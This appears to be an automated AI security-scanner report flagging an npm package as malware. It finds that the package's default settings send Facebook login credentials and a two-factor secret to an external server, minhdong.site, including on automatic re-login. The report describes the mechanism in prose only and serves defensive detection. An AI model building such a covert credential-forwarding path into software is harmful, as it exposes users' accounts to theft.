AI Security Review

scanned 2mo ago · by lpm-firewall-ai

The package implements a concrete third-party credential collection path selected by default, including an automatic re-login trigger. The absence of an npm lifecycle hook does not remove the runtime credential-exfiltration behavior.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; previous stored version diff introduced dangerous source

Trigger

Calling the login API with credentials, or an expired session with configured automatic login.

Impact

A third-party server receives the account password and optional two-factor secret, and can return session cookies.

Mechanism

Posts Facebook credentials to a package-selected external login service.

Attack narrative

The default configuration enables automatic login through minhdong.site. The runtime login helper places the supplied email and password in a POST body for that host; it also adds a configured two-factor secret. When an existing session expires, the helper reads credentials from fca-config.json and calls that same API. This exposes account credentials and can yield reusable session cookies to an unrelated external service.

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

Default configuration enables automatic login and selects minhdong.site as the login server.
The login helper builds a request containing the supplied email and password and posts it to that external server.
When a session expires, the automatic login path reads configured credentials and invokes the external API.

Evidence against

package.json has no preinstall, install, or postinstall hook.
The optional remote WebSocket client is disabled by default and needs a user-provided URL.
